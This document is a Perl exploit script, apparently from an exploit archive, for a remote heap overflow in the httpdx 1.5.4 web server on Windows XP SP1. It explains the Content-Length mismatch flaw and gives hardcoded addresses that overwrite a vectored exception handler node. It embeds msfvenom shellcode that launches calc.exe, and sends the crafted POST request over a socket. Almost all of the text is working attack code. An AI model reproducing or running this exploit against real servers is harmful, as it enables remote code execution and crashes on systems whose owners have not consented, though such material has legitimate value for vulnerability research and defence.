httpdx 1.5.4 – Remote Heap Overflow
#!/usr/bin/perl -w #====================================================================== # Exploit Title: httpdx <= 1.5.4 Remote Heap Overflow # Date: 28 July 2012 # Exploit Author: st3n [at sign] funoverip [dot] net # Vendor Homepage: http://httpdx.sourceforge.net # Download link: http://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/httpdx1.5.4.zip/download # Version: 1.5.4 # Tested on: WinXP SP1 #====================================================================== # Additional notes: # ----------------- # # - During a POST request, httpdx allocates memory with malloc(size+1), # where 'size' is actually the value of "Content-Length" HTTP header.. # All post-data will then be copied into this area using strncpy(x,y,size2), # where 'size2' = "request length" - "header length" (and not Content-Length) # # - As httpdx use it own handler function upon crash, this exploit overwrite # the first _VECTORED_EXCEPTION_NODE structure with a pointer to our shellcode. # # - The exploit works very often, but not always. In both case, httpdx crash # after the exploit. # # - WinXP SP1 # 0x77ED73B4 --> UnhandledExceptionFilter() #====================================================================== use strict; use IO::Socket::INET; # target my $host = "127.0.0.1"; # The [perl|php|py|..] page to call during the POST request. # The page must exists and the extension must be defined in the directive # "http.handlers = {...}" in httpdx.conf my $page = "/test.pl"; # Windows XP - SP1 - English # --------------------------- # ptr to the first _VECTORED_EXCEPTION_NODE structure = 0x77fc3210 - 4 my $veh_node_addr = 0x77fc320c ; # pointer to out shellcode => 0x00227664 - 8 = 0x0022765c my $sc_ptr = 0x0022765c; # shellcode # (msfvenom -p windows/exec -f perl CMD=calc.exe) my $shellcode = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" . "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" . "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" . "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" . "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" . "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" . "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" . "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" . "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" . "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" . "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" . "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" . "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" . "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" . "\x65\x78\x65\x00"; # flush after every write $| = 1; my $sock = IO::Socket::INET->new("$host:80"); print $sock "POST $page HTTP/1.0\r\n" . "Content-Length: 1023\r\n" . "Content-Type: text\r\n" . "Host: $host" . "\r\n" . "\r\n" . # shellcode $shellcode . # nops "\x90" x (1032-length($shellcode)) . # VEH addr pack('V', $veh_node_addr) . # ptr to shellcode pack('V', $sc_ptr) ; # if any ... while(<$sock>){ print $_; } exit; |